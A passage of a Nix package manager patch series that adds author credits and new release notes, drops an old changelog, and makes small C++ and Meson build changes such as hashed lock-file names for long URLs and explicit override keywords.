d1feeb703..8dd786c44 100644 --- a/doc/manual/rl-next/drop-vendored-toml11.md +++ b/doc/manual/rl-next/drop-vendored-toml11.md @@ -4,3 +4,5 @@ synopsis: Stop vendoring toml11 We don't apply any patches to it, and vendoring it locks users into bugs (it hasn't been updated since its introduction in late 2021). + +Author: [**Winter (@winterqt)**](https://github.com/winterqt) diff --git a/doc/manual/rl-next/harden-user-sandboxing.md b/doc/manual/rl-next/harden-user-sandboxing.md index a647acf25..ff81c9cb1 100644 --- a/doc/manual/rl-next/harden-user-sandboxing.md +++ b/doc/manual/rl-next/harden-user-sandboxing.md @@ -5,3 +5,8 @@ issues: --- The build directory has been hardened against interference with the outside world by nesting it inside another directory owned by (and only readable by) the daemon user. + +This is a low severity security fix, [CVE-2024-38531](https://www.cve.org/CVERecord?id=CVE-2024-38531), that was handled through the GitHub Security Advisories interface, and hence was merged directly in commit [2dd7f8f42](https://github.com/NixOS/nix/commit/2dd7f8f42da374d9fee4d424c1c6f82bcb36b393) instead of a PR. + +Credit: [**@alois31**](https://github.com/alois31), [**Linus Heckemann (@lheckemann)**](https://github.com/lheckemann) +Co-authors: [**@edolstra**](https://github.com/edolstra) diff --git a/doc/manual/rl-next/nix-shell-looks-for-shell-nix.md b/doc/manual/rl-next/nix-shell-looks-for-shell-nix.md index 99be4148b..b9e4b3fb3 100644 --- a/doc/manual/rl-next/nix-shell-looks-for-shell-nix.md +++ b/doc/manual/rl-next/nix-shell-looks-for-shell-nix.md @@ -26,3 +26,5 @@ This also applies to `nix-shell` shebang scripts. Consider the following example This will now load `shell.nix` from the script's directory, if it exists; `default.nix` otherwise. The old behavior can be opted into by setting the option [`nix-shell-always-looks-for-shell-nix`](@docroot@/command-ref/conf-file.md#conf-nix-shell-always-looks-for-shell-nix) to `false`. + +Author: [**Robert Hensing (@roberth)**](https://github.com/roberth) diff --git a/doc/manual/rl-next/repl-doc-renders-doc-comments.md b/doc/manual/rl-next/repl-doc-renders-doc-comments.md index 05023697c..fa241ebc1 100644 --- a/doc/manual/rl-next/repl-doc-renders-doc-comments.md +++ b/doc/manual/rl-next/repl-doc-renders-doc-comments.md @@ -48,6 +48,8 @@ Known limitations: - It does not render documentation for "formals", such as `{ /** the value to return */ x, ... }: x`. - Some extensions to markdown are not yet supported, as you can see in the example above. -We'd like to acknowledge Yingchi Long for proposing a proof of concept for this functionality in [#9054](https://github.com/NixOS/nix/pull/9054), as well as @sternenseemann and Johannes Kirschbauer for their contributions, proposals, and their work on [RFC 145]. +We'd like to acknowledge [Yingchi Long (@inclyc)](https://github.com/inclyc) for proposing a proof of concept for this functionality in [#9054](https://github.com/NixOS/nix/pull/9054), as well as [@sternenseemann](https://github.com/sternenseemann) and [Johannes Kirschbauer (@hsjobeki)](https://github.com/hsjobeki) for their contributions, proposals, and their work on [RFC 145]. + +Author: [**Robert Hensing (@roberth)**](https://github.com/roberth) [RFC 145]: https://github.com/NixOS/rfcs/pull/145 diff --git a/doc/manual/rl-next/shebang-relative.md b/doc/manual/rl-next/shebang-relative.md index d12c0f8dc..dd96bf203 100644 --- a/doc/manual/rl-next/shebang-relative.md +++ b/doc/manual/rl-next/shebang-relative.md @@ -60,3 +60,5 @@ Example: #!nix -c bash hello ``` + +Author: [**Robert Hensing (@roberth)**](https://github.com/roberth) From 7275d68d3b28115e2e2096aef7e6025292d4d58e Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 25 Jul 2024 05:57:53 +0200 Subject: [PATCH 1191/1251] rl-next: Add top 10 by +1 reactions on PRs We should use a metric that weighs the related issues. Counterbalancing time doesn't make much sense to me. If it's around for longer, the fix will be relevant to more people. --- .../10564-attrcursor-remove-forceerrors.md | 9 ++++++ ...03-run-the-flake-regressions-test-suite.md | 8 +++++ ...unit-prefixes-in-configuration-settings.md | 10 ++++++ ...ild-show-all-fod-errors-with-keep-going.md | 10 ++++++ doc/manual/rl-next/10855-meson.md | 31 +++++++++++++++++++ .../11086-eval-cache-fix-cache-regressions.md | 14 +++++++++ .../rl-next/9063-introduce-libnixflake.md | 12 +++++++ 7 files changed, 94 insertions(+) create mode 100644 doc/manual/rl-next/10564-attrcursor-remove-forceerrors.md create mode 100644 doc/manual/rl-next/10603-run-the-flake-regressions-test-suite.md create mode 100644 doc/manual/rl-next/10668-support-unit-prefixes-in-configuration-settings.md create mode 100644 doc/manual/rl-next/10734-nix3-build-show-all-fod-errors-with-keep-going.md create mode 100644 doc/manual/rl-next/10855-meson.md create mode 100644 doc/manual/rl-next/11086-eval-cache-fix-cache-regressions.md create mode 100644 doc/manual/rl-next/9063-introduce-libnixflake.md diff --git a/doc/manual/rl-next/10564-attrcursor-remove-forceerrors.md b/doc/manual/rl-next/10564-attrcursor-remove-forceerrors.md new file mode 100644 index 000000000..864a55b51 --- /dev/null +++ b/doc/manual/rl-next/10564-attrcursor-remove-forceerrors.md @@ -0,0 +1,9 @@ +--- +synopsis: "Solve `cached failure of attribute X`" +prs: 10564 +issues: 10513 9165 +--- + +This eliminates all "cached failure of attribute X" messages by forcing evaluation of the original value when needed to show the exception to the user. This enhancement improves error reporting by providing the underlying message and stack trace. + +Author: [**Eelco Dolstra (@edolstra)**](https://github.com/edolstra) diff --git a/doc/manual/rl-next/10603-run-the-flake-regressions-test-suite.md b/doc/manual/rl-next/10603-run-the-flake-regressions-test-suite.md new file mode 100644 index 000000000..42864323c --- /dev/null +++ b/doc/manual/rl-next/10603-run-the-flake-regressions-test-suite.md @@ -0,0 +1,8 @@ +--- +synopsis: "Run the flake regressions test suite" +prs: 10603 +--- + +This update introduces a GitHub action to run a subset of the [flake regressions test suite](https://github.com/NixOS/flake-regressions), which includes 259 flakes with their expected evaluation results. Currently, the action runs the first 25 flakes due to the full test suite's extensive runtime. A manually triggered action may be implemented later to run the entire test suite. + +Author: [**Eelco Dolstra (@edolstra)**](https://github.com/edolstra) diff --git a/doc/manual/rl-next/10668-support-unit-prefixes-in-configuration-settings.md b/doc/manual/rl-next/10668-support-unit-prefixes-in-configuration-settings.md new file mode 100644 index 000000000..2caca9a81 --- /dev/null +++ b/doc/manual/rl-next/10668-support-unit-prefixes-in-configuration-settings.md @@ -0,0 +1,10 @@ +--- +synopsis: "Support unit prefixes in configuration settings" +prs: 10668 +--- + +Configuration settings in Nix now support unit prefixes, allowing for more intuitive and readable configurations. For example, you can now specify [`--min-free 1G`](@docroot@/command-ref/opt-common.md#opt-min-free) to set the minimum free space to 1 gigabyte. + +This enhancement was extracted from [#7851](https://github.com/NixOS/nix/pull/7851) and is also useful for PR [#10661](https://github.com/NixOS/nix/pull/10661). + +Author: [**Eelco Dolstra (@edolstra)**](https://github.com/edolstra) diff --git a/doc/manual/rl-next/10734-nix3-build-show-all-fod-errors-with-keep-going.md b/doc/manual/rl-next/10734-nix3-build-show-all-fod-errors-with-keep-going.md new file mode 100644 index 000000000..5c2797be8 --- /dev/null +++ b/doc/manual/rl-next/10734-nix3-build-show-all-fod-errors-with-keep-going.md @@ -0,0 +1,10 @@ +--- +synopsis: "nix3-build: show all FOD errors with `--keep-going`" +prs: 10734 +--- + +The [`nix build`](@docroot@/command-ref/new-cli/nix3-build.md) command has been updated to improve the behavior of the [`--keep-going`] flag. Now, when `--keep-going` is used, all hash-mismatch errors of failing fixed-output derivations (FODs) are displayed, similar to the behavior of `nix build`. This enhancement ensures that all relevant build errors are shown, making it easier for users to update multiple derivations at once or to diagnose and fix issues. + +Author: [**Jörg Thalheim (@Mic92)**](https://github.com/Mic92) + +[`--keep-going`](@docroot@/command-ref/opt-common.md#opt-keep-going) diff --git a/doc/manual/rl-next/10855-meson.md b/doc/manual/rl-next/10855-meson.md new file mode 100644 index 000000000..0ab71390f --- /dev/null +++ b/doc/manual/rl-next/10855-meson.md @@ -0,0 +1,31 @@ +--- +synopsis: "Build with Meson" +prs: +- 10378 +- 10855 +- 10904 +- 10908 +- 10914 +- 10933 +- 10936 +- 10954 +- 10955 +- 10967 +- 10963 +- 10973 +- 11034 +- 11054 +- 11055 +- 11064 +- 11060 +- 11155 +issues: +- 2503 +--- + +These changes aim to replace the use of autotools and make with Meson for building various components of Nix. Additionally, each library is built in its own derivation, leveraging Meson's "subprojects" feature to allow a single development shell for building all libraries while also supporting separate builds. This approach aims to improve productivity and build modularity, compared to both make and a monolithic Meson-based derivation. + +Special thanks to everyone who has contributed to the Meson port, particularly [**@p01arst0rm**](https://github.com/p01arst0rm) and [**@Qyriad**](https://github.com/Qyriad). + +Authors: [**John Ericson (@Ericson2314)**](https://github.com/Ericson2314), [**Tom Bereknyei**](https://github.com/tomberek), [**Théophane Hufschmitt (@thufschmitt)**](https://github.com/thufschmitt), [**Valentin Gagarin (@fricklerhandwerk)**](https://github.com/fricklerhandwerk), [**Robert Hensing (@roberth)**](https://github.com/roberth) +Co-authors: [**@p01arst0rm**](https://github.com/p01arst0rm), [**@Qyriad**](https://github.com/Qyriad) diff --git a/doc/manual/rl-next/11086-eval-cache-fix-cache-regressions.md b/doc/manual/rl-next/11086-eval-cache-fix-cache-regressions.md new file mode 100644 index 000000000..8a348a9ad --- /dev/null +++ b/doc/manual/rl-next/11086-eval-cache-fix-cache-regressions.md @@ -0,0 +1,14 @@ +--- +synopsis: "Eval cache: fix cache regressions" +prs: 11086 +issues: 10570 +--- + +This update addresses two bugs in the evaluation cache system: + +1. Regression in #10570: The evaluation cache was not being persisted in `nix develop` because `evalCaches` retained references to the caches and was never freed. +2. Nix could sometimes try to commit the evaluation cache SQLite transaction without there being an active transaction, resulting in non-error errors being printed. + +These bug fixes ensure that the evaluation cache is correctly managed and errors are appropriately handled. + +Author: [**Lexi Mattick (@kognise)**](https://github.com/kognise) diff --git a/doc/manual/rl-next/9063-introduce-libnixflake.md b/doc/manual/rl-next/9063-introduce-libnixflake.md new file mode 100644 index 000000000..fd3645446 --- /dev/null +++ b/doc/manual/rl-next/9063-introduce-libnixflake.md @@ -0,0 +1,12 @@ +--- +synopsis: "Introduce `libnixflake`" +prs: 9063 +--- + +A new library, `libnixflake`, has been introduced to better separate the Flakes layer within Nix. This change refactors the codebase to encapsulate Flakes-specific functionality within its own library. + +See the commits in the pull request for detailed changes, with the only significant code modifications happening in the initial commit. + +This change was alluded to in [RFC 134](https://github.com/nixos/rfcs/blob/master/rfcs/0134-nix-store-layer.md) and is a step towards a more modular and maintainable codebase. + +Author: [**John Ericson (@Ericson2314)**](https://github.com/Ericson2314) From e92dd06a7b5ff00e8908e9a7b5699de56d55e8d6 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 25 Jul 2024 00:00:52 -0400 Subject: [PATCH 1192/1251] build-remote: Cope with long store URLs by falling back on hashing I hit this in the Meson port of the functional tests, because the use of standalone build directories. --- src/build-remote/build-remote.cc | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) diff --git a/src/build-remote/build-remote.cc b/src/build-remote/build-remote.cc index a0a404e57..8482b742d 100644 --- a/src/build-remote/build-remote.cc +++ b/src/build-remote/build-remote.cc @@ -264,7 +264,20 @@ connected: auto inputs = readStrings(source); auto wantedOutputs = readStrings(source); - AutoCloseFD uploadLock = openLockFile(currentLoad + "/" + escapeUri(storeUri.render()) + ".upload-lock", true); + AutoCloseFD uploadLock; + { + auto setUpdateLock = [&](auto && fileName){ + uploadLock = openLockFile(currentLoad + "/" + escapeUri(fileName) + ".upload-lock", true); + }; + try { + setUpdateLock(storeUri.render()); + } catch (SysError & e) { + if (e.errNo != ENAMETOOLONG) throw; + // Try again hashing the store URL so we have a shorter path + auto h = hashString(HashAlgorithm::MD5, storeUri.render()); + setUpdateLock(h.to_string(HashFormat::Base64, false)); + } + } { Activity act(*logger, lvlTalkative, actUnknown, fmt("waiting for the upload lock to '%s'", storeUri.render())); From b711fcbef9701ae1fd11839aa911e7737f8a23cd Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 25 Jul 2024 06:00:59 +0200 Subject: [PATCH 1193/1251] rl-next: Drop zzz-other. Number soup. --- doc/manual/rl-next/zzz-other.md | 50 --------------------------------- 1 file changed, 50 deletions(-) delete mode 100644 doc/manual/rl-next/zzz-other.md diff --git a/doc/manual/rl-next/zzz-other.md b/doc/manual/rl-next/zzz-other.md deleted file mode 100644 index f3721bd38..000000000 --- a/doc/manual/rl-next/zzz-other.md +++ /dev/null @@ -1,50 +0,0 @@ ---- -synopsis: Other changes ---- - -- [#9063](https://github.com/NixOS/nix/pull/9063): introduce `libnixflake` and move flakes-specific code there (Nix is internally composed of a set of libraries, and this better reflects the architecture wrt flakes) -- [#10852](https://github.com/NixOS/nix/pull/10852): make Nix commands respond better to interruption - Ctrl+C in the terminal -- [#10853](https://github.com/NixOS/nix/pull/10853): fix docs of `builtins.importNative` -- [#10858](https://github.com/NixOS/nix/pull/10858): `flake check`: Recognize well known `homeModule`/`homeModules` attribute -- [#10865](https://github.com/NixOS/nix/pull/10865): Update dependencies to Nixpkgs 24.05 (when using the `nix` flake), and support bdwgc 8.2.6 ([#11141](https://github.com/NixOS/nix/issues/11141), [#10880](https://github.com/NixOS/nix/pull/10880)) -- [#10883](https://github.com/NixOS/nix/pull/10883): Use `TMP` instead of `XDG_RUNTIME_DIR` -- [#10994](https://github.com/NixOS/nix/pull/10994): fix minor bug in elided item counts when printing values lazily -- [#10988](https://github.com/NixOS/nix/pull/10988): restore `commit-lockfile-summary` alias -- [#10941](https://github.com/NixOS/nix/pull/10941): invalid derivation name now causes an actionable error message -- Changes to the interaction between Nix's I/O coroutines and the garbage collector: -- [#10878](https://github.com/NixOS/nix/pull/10878): allow `ipc-sysv*` in the Darwin build sandbox -- [#11031](https://github.com/NixOS/nix/pull/11031): fix Darwin build sandbox -- [#10907](https://github.com/NixOS/nix/pull/10907): use opaque struct instead of `void *` in the C API -- [#10947](https://github.com/NixOS/nix/issues/10947): fix evaluation cache accidentally persisting disallowed IFD errors -- [#11020](https://github.com/NixOS/nix/pull/11020): enable fetch and eval caching for tarballs -- [#11041](https://github.com/NixOS/nix/pull/11041): add discovered attribute paths to the `--show-trace` error trace in `nix-build`, `nix-env`, OfBorg, and other callers of `getDerivations` -- [#11056](https://github.com/NixOS/nix/pull/11056): `s3` store now uses system defined proxy settings -- [#11077](https://github.com/NixOS/nix/pull/11077): support hardlinks in tarballs -- [#11100](https://github.com/NixOS/nix/pull/11100): pretty print values consistently regardless of prior thunk state -- [#11086](https://github.com/NixOS/nix/pull/11086): fix loss of evaluation cache additions in `nix env run`, `nix shell`, `nix develop`, and `nix fmt` -- [#11149](https://github.com/NixOS/nix/pull/11149): report GC time and number of GC cycles in `NIX_SHOW_STATS=1` report -- [#11142](https://github.com/NixOS/nix/pull/11142): aliased options can now also be passed as flags, just like their "normal" counterparts, e.g. `--build-max-jobs` now works -- [#11043](https://github.com/NixOS/nix/pull/11043): `assert a == b; e` now reports some detail about why `a` and `b` are different when they are -- [#11159](https://github.com/NixOS/nix/pull/11159): don't crash a nix-daemon worker process when the client disconnects -- Stability improvements and fixes [#10861](https://github.com/NixOS/nix/pull/10861), [#10865](https://github.com/NixOS/nix/pull/10865), [#10918](https://github.com/NixOS/nix/pull/10918), [#10916](https://github.com/NixOS/nix/pull/10916), [#10884](https://github.com/NixOS/nix/pull/10884), [#10943](https://github.com/NixOS/nix/pull/10943), [#11019](https://github.com/NixOS/nix/pull/11019), [#11122](https://github.com/NixOS/nix/pull/11122), [#11117](https://github.com/NixOS/nix/pull/11117) -- User documentation improvements [#10888](https://github.com/NixOS/nix/pull/10888), [#10966](https://github.com/NixOS/nix/pull/10966), [#10974](https://github.com/NixOS/nix/pull/10974), [#10997](https://github.com/NixOS/nix/pull/10997), [#11013](https://github.com/NixOS/nix/pull/11013), [#11059](https://github.com/NixOS/nix/pull/11059), [#11119](https://github.com/NixOS/nix/pull/11119), [#11116](https://github.com/NixOS/nix/pull/11116), [#11061](https://github.com/NixOS/nix/pull/11061), [#11102](https://github.com/NixOS/nix/pull/11102) -- BSD support: [#10896](https://github.com/NixOS/nix/pull/10896) [#11022](https://github.com/NixOS/nix/pull/11022) [#11156](https://github.com/NixOS/nix/pull/11156) -- Windows support: [#10769](https://github.com/NixOS/nix/pull/10769), [#10975](https://github.com/NixOS/nix/pull/10975) [#11153](https://github.com/NixOS/nix/pull/11153) -- Portability: [#7048](https://github.com/NixOS/nix/pull/7048) [#11090](https://github.com/NixOS/nix/pull/11090) -- Installer improvements [#10902](https://github.com/NixOS/nix/pull/10902) -- Performance improvements [#10853](https://github.com/NixOS/nix/pull/10853), [#10854](https://github.com/NixOS/nix/pull/10854), [#11082](https://github.com/NixOS/nix/pull/11082), [#11092](https://github.com/NixOS/nix/pull/11092), [#11113](https://github.com/NixOS/nix/pull/11113) - -Contributor experience improvements: - -Use Meson to build Nix (nearing completion) [#10855](https://github.com/NixOS/nix/pull/10855) [#10904](https://github.com/NixOS/nix/pull/10904) [#10908](https://github.com/NixOS/nix/pull/10908) [#10914](https://github.com/NixOS/nix/pull/10914) [#10933](https://github.com/NixOS/nix/pull/10933) [#10936](https://github.com/NixOS/nix/pull/10936) [#10954](https://github.com/NixOS/nix/pull/10954) [#10955](https://github.com/NixOS/nix/pull/10955) [#10967](https://github.com/NixOS/nix/pull/10967) [#10963](https://github.com/NixOS/nix/pull/10963) [#10973](https://github.com/NixOS/nix/pull/10973) [#11034](https://github.com/NixOS/nix/pull/11034) [#11054](https://github.com/NixOS/nix/pull/11054) [#11055](https://github.com/NixOS/nix/pull/11055) [#11064](https://github.com/NixOS/nix/pull/11064) [#11060](https://github.com/NixOS/nix/pull/11060) [#11155](https://github.com/NixOS/nix/pull/11155) -- Testing improvements [#10864](https://github.com/NixOS/nix/pull/10864), [#10903](https://github.com/NixOS/nix/pull/10903), [#10874](https://github.com/NixOS/nix/pull/10874), [#10922](https://github.com/NixOS/nix/pull/10922), [#11006](https://github.com/NixOS/nix/pull/11006), [#11110](https://github.com/NixOS/nix/pull/11110), [#10931](https://github.com/NixOS/nix/pull/10931), [#11123](https://github.com/NixOS/nix/pull/11123) - - [#10603](https://github.com/NixOS/nix/pull/10603): We now evaluate a set of flakes in CI - - [#10922](https://github.com/NixOS/nix/pull/10922): The functional test suite is now run in both in the build sandbox and in a NixOS environment -- CI improvements [#10929](https://github.com/NixOS/nix/pull/10929) [#10999](https://github.com/NixOS/nix/pull/10999) [#11009](https://github.com/NixOS/nix/pull/11009) [#11065](https://github.com/NixOS/nix/pull/11065) [#11071](https://github.com/NixOS/nix/pull/11071) -- Contributor documentation improvements [#10869](https://github.com/NixOS/nix/pull/10869), [#9871](https://github.com/NixOS/nix/pull/9871), [#10960](https://github.com/NixOS/nix/pull/10960), [#11147](https://github.com/NixOS/nix/pull/11147) -- Error message improvements: [#11050](https://github.com/NixOS/nix/pull/11050) [#11154](https://github.com/NixOS/nix/pull/11154) -- Cleaning up the Settings system (`nix.conf` and related architectural cleanups): [#10913](https://github.com/NixOS/nix/pull/10913), [#10951](https://github.com/NixOS/nix/pull/10951), [#11007](https://github.com/NixOS/nix/pull/11007), [#11108](https://github.com/NixOS/nix/pull/11108), [#11014](https://github.com/NixOS/nix/pull/11014), [#11109](https://github.com/NixOS/nix/pull/11109), [#11112](https://github.com/NixOS/nix/pull/11112) -- Other cleanups and refactors [#10857](https://github.com/NixOS/nix/pull/10857) [#10935](https://github.com/NixOS/nix/pull/10935) [#10873](https://github.com/NixOS/nix/pull/10873) [#10745](https://github.com/NixOS/nix/pull/10745) [#10961](https://github.com/NixOS/nix/pull/10961) [#10962](https://github.com/NixOS/nix/pull/10962) [#10972](https://github.com/NixOS/nix/pull/10972) [#11018](https://github.com/NixOS/nix/pull/11018) [#11035](https://github.com/NixOS/nix/pull/11035) [#11037](https://github.com/NixOS/nix/pull/11037) [#11081](https://github.com/NixOS/nix/pull/11081) [#11089](https://github.com/NixOS/nix/pull/11089) [#11093](https://github.com/NixOS/nix/pull/11093) [#11114](https://github.com/NixOS/nix/pull/11114) [#11103](https://github.com/NixOS/nix/pull/11103) [#11126](https://github.com/NixOS/nix/pull/11126) [#11125](https://github.com/NixOS/nix/pull/11125) [#11120](https://github.com/NixOS/nix/pull/11120) -- Scheduler/builder refactoring [#11005](https://github.com/NixOS/nix/pull/11005) -- [#11011](https://github.com/NixOS/nix/pull/11011): enable `-Werror=unused-result` - From 1ae573831756ac08fd30eb9cfd90692b1c06ed3b Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 25 Jul 2024 00:02:43 -0400 Subject: [PATCH 1194/1251] Fix some warnings I think they came from the last Nixpkgs bump. --- src/libexpr/primops/fromTOML.cc | 4 ++++ src/libstore/s3-binary-cache-store.cc | 3 +++ src/libstore/s3.hh | 2 +- 3 files changed, 8 insertions(+), 1 deletion(-) diff --git a/src/libexpr/primops/fromTOML.cc b/src/libexpr/primops/fromTOML.cc index 6c7d303e8..70755f9e0 100644 --- a/src/libexpr/primops/fromTOML.cc +++ b/src/libexpr/primops/fromTOML.cc @@ -2,7 +2,11 @@ #include "eval-inline.hh" #include + +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wswitch-enum" #include +#pragma GCC diagnostic pop namespace nix { diff --git a/src/libstore/s3-binary-cache-store.cc b/src/libstore/s3-binary-cache-store.cc index 92ab47cd6..1082657bb 100644 --- a/src/libstore/s3-binary-cache-store.cc +++ b/src/libstore/s3-binary-cache-store.cc @@ -10,6 +10,8 @@ #include "compression.hh" #include "filetransfer.hh" +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wswitch-enum" #include #include #include @@ -25,6 +27,7 @@ #include #include #include +#pragma GCC diagnostic pop using namespace Aws::Transfer; diff --git a/src/libstore/s3.hh b/src/libstore/s3.hh index f0aeb3bed..18de115ae 100644 --- a/src/libstore/s3.hh +++ b/src/libstore/s3.hh @@ -8,7 +8,7 @@ #include #include -namespace Aws { namespace Client { class ClientConfiguration; } } +namespace Aws { namespace Client { struct ClientConfiguration; } } namespace Aws { namespace S3 { class S3Client; } } namespace nix { From 6c38bc09526eab2ad66083e339f0c10cf7ce813a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= Date: Thu, 25 Jul 2024 07:34:08 +0200 Subject: [PATCH 1195/1251] {src/perl,build-utils-meson/diagnostics}: sort cflags This makes them easier to copy between places. --- build-utils-meson/diagnostics/meson.build | 6 +++--- src/perl/meson.build | 20 ++++++++++---------- 2 files changed, 13 insertions(+), 13 deletions(-) diff --git a/build-utils-meson/diagnostics/meson.build b/build-utils-meson/diagnostics/meson.build index 2b79f6566..4548f93ad 100644 --- a/build-utils-meson/diagnostics/meson.build +++ b/build-utils-meson/diagnostics/meson.build @@ -1,11 +1,11 @@ add_project_arguments( - '-Wno-deprecated-declarations', - '-Wimplicit-fallthrough', + '-Wdeprecated-copy', '-Werror=switch', '-Werror=switch-enum', '-Werror=unused-result', - '-Wdeprecated-copy', '-Wignored-qualifiers', + '-Wimplicit-fallthrough', + '-Wno-deprecated-declarations', # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked # at ~1% overhead in `nix search`. # diff --git a/src/perl/meson.build b/src/perl/meson.build index 5fe7e1e28..02e0e68e5 100644 --- a/src/perl/meson.build +++ b/src/perl/meson.build @@ -23,21 +23,21 @@ nix_perl_conf.set('PACKAGE_VERSION', meson.project_version()) # set error arguments #------------------------------------------------- error_args = [ - '-Werror=unused-result', '-Wdeprecated-copy', '-Wdeprecated-declarations', + '-Werror=unused-result', '-Wignored-qualifiers', - '-Wno-pedantic', - '-Wno-non-virtual-dtor', - '-Wno-unused-parameter', - '-Wno-variadic-macros', - '-Wno-missing-field-initializers', - '-Wno-unknown-warning-option', - '-Wno-unused-variable', - '-Wno-literal-suffix', - '-Wno-reserved-user-defined-literal', '-Wno-duplicate-decl-specifier', + '-Wno-literal-suffix', + '-Wno-missing-field-initializers', + '-Wno-non-virtual-dtor', + '-Wno-pedantic', '-Wno-pointer-bool-conversion', + '-Wno-reserved-user-defined-literal', + '-Wno-unknown-warning-option', + '-Wno-unused-parameter', + '-Wno-unused-variable', + '-Wno-variadic-macros', ] add_project_arguments( From 2c07ea8abbb2804b476b9df21a9c7c3c2e8dbb11 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= Date: Thu, 25 Jul 2024 07:40:31 +0200 Subject: [PATCH 1196/1251] build-utils-meson: remove oudated meson build comment --- build-utils-meson/diagnostics/meson.build | 3 --- 1 file changed, 3 deletions(-) diff --git a/build-utils-meson/diagnostics/meson.build b/build-utils-meson/diagnostics/meson.build index 4548f93ad..e81f19eff 100644 --- a/build-utils-meson/diagnostics/meson.build +++ b/build-utils-meson/diagnostics/meson.build @@ -6,8 +6,5 @@ add_project_arguments( '-Wignored-qualifiers', '-Wimplicit-fallthrough', '-Wno-deprecated-declarations', - # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked - # at ~1% overhead in `nix search`. - # language : 'cpp', ) From 63e50a4b56a2e21e854636a622941fd36d2e78da Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= Date: Thu, 25 Jul 2024 07:32:03 +0200 Subject: [PATCH 1197/1251] add werror=suggest-override Improves code readability by making overrides explicit. Inspired by lix code-base --- Makefile | 2 +- build-utils-meson/diagnostics/meson.build | 1 + src/libexpr/json-to-value.cc | 26 +++++++++---------- src/libexpr/nixexpr.hh | 4 +-- src/libstore/daemon.cc | 2 +- .../unix/build/local-derivation-goal.cc | 2 +- src/libutil/serialise.cc | 4 +-- src/libutil/serialise.hh | 6 ++--- src/perl/meson.build | 1 + 9 files changed, 25 insertions(+), 23 deletions(-) diff --git a/Makefile b/Makefile index bb64a104e..ac76b1532 100644 --- a/Makefile +++ b/Makefile @@ -92,7 +92,7 @@ ifdef HOST_WINDOWS GLOBAL_LDFLAGS += -Wl,--export-all-symbols endif -GLOBAL_CXXFLAGS += -g -Wall -Wdeprecated-copy -Wignored-qualifiers -Wimplicit-fallthrough -Werror=unused-result -include $(buildprefix)config.h -std=c++2a -I src +GLOBAL_CXXFLAGS += -g -Wall -Wdeprecated-copy -Wignored-qualifiers -Wimplicit-fallthrough -Werror=unused-result -Werror=suggest-override -include $(buildprefix)config.h -std=c++2a -I src # Include the main lib, causing rules to be defined diff --git a/build-utils-meson/diagnostics/meson.build b/build-utils-meson/diagnostics/meson.build index e81f19eff..30eedfc13 100644 --- a/build-utils-meson/diagnostics/meson.build +++ b/build-utils-meson/diagnostics/meson.build @@ -1,5 +1,6 @@ add_project_arguments( '-Wdeprecated-copy', + '-Werror=suggest-override', '-Werror=switch', '-Werror=switch-enum', '-Werror=unused-result', diff --git a/src/libexpr/json-to-value.cc b/src/libexpr/json-to-value.cc index 20bee193f..33ab55ee9 100644 --- a/src/libexpr/json-to-value.cc +++ b/src/libexpr/json-to-value.cc @@ -80,42 +80,42 @@ class JSONSax : nlohmann::json_sax { public: JSONSax(EvalState & state, Value & v) : state(state), rs(new JSONState(&v)) {}; - bool null() + bool null() override { rs->value(state).mkNull(); rs->add(); return true; } - bool boolean(bool val) + bool boolean(bool val) override { rs->value(state).mkBool(val); rs->add(); return true; } - bool number_integer(number_integer_t val) + bool number_integer(number_integer_t val) override { rs->value(state).mkInt(val); rs->add(); return true; } - bool number_unsigned(number_unsigned_t val) + bool number_unsigned(number_unsigned_t val) override { rs->value(state).mkInt(val); rs->add(); return true; } - bool number_float(number_float_t val, const string_t & s) + bool number_float(number_float_t val, const string_t & s) override { rs->value(state).mkFloat(val); rs->add(); return true; } - bool string(string_t & val) + bool string(string_t & val) override { rs->value(state).mkString(val); rs->add(); @@ -123,7 +123,7 @@ public: } #if NLOHMANN_JSON_VERSION_MAJOR >= 3 && NLOHMANN_JSON_VERSION_MINOR >= 8 - bool binary(binary_t&) + bool binary(binary_t&) override { // This function ought to be unreachable assert(false); @@ -131,35 +131,35 @@ public: } #endif - bool start_object(std::size_t len) + bool start_object(std::size_t len) override { rs = std::make_unique(std::move(rs)); return true; } - bool key(string_t & name) + bool key(string_t & name) override { dynamic_cast(rs.get())->key(name, state); return true; } - bool end_object() { + bool end_object() override { rs = rs->resolve(state); rs->add(); return true; } - bool end_array() { + bool end_array() override { return end_object(); } - bool start_array(size_t len) { + bool start_array(size_t len) override { rs = std::make_unique(std::move(rs), len != std::numeric_limits::max() ? len : 128); return true; } - bool parse_error(std::size_t, const std::string&, const nlohmann::detail::exception& ex) { + bool parse_error(std::size_t, const std::string&, const nlohmann::detail::exception& ex) override { throw JSONParseError("%s", ex.what()); } }; diff --git a/src/libexpr/nixexpr.hh b/src/libexpr/nixexpr.hh index 1bcc962c5..3279e3d48 100644 --- a/src/libexpr/nixexpr.hh +++ b/src/libexpr/nixexpr.hh @@ -186,7 +186,7 @@ struct ExprInheritFrom : ExprVar this->fromWith = nullptr; } - void bindVars(EvalState & es, const std::shared_ptr & env); + void bindVars(EvalState & es, const std::shared_ptr & env) override; }; struct ExprSelect : Expr @@ -203,7 +203,7 @@ struct ExprSelect : Expr * * @param[out] v The attribute set that should contain the last attribute name (if it exists). * @return The last attribute name in `attrPath` - * + * * @note This does *not* evaluate the final attribute, and does not fail if that's the only attribute that does not exist. */ Symbol evalExceptFinalSelect(EvalState & state, Env & env, Value & attrs); diff --git a/src/libstore/daemon.cc b/src/libstore/daemon.cc index 6533b2f58..f28f92fce 100644 --- a/src/libstore/daemon.cc +++ b/src/libstore/daemon.cc @@ -167,7 +167,7 @@ struct TunnelSink : Sink { Sink & to; TunnelSink(Sink & to) : to(to) { } - void operator () (std::string_view data) + void operator () (std::string_view data) override { to << STDERR_WRITE; writeString(data, to); diff --git a/src/libstore/unix/build/local-derivation-goal.cc 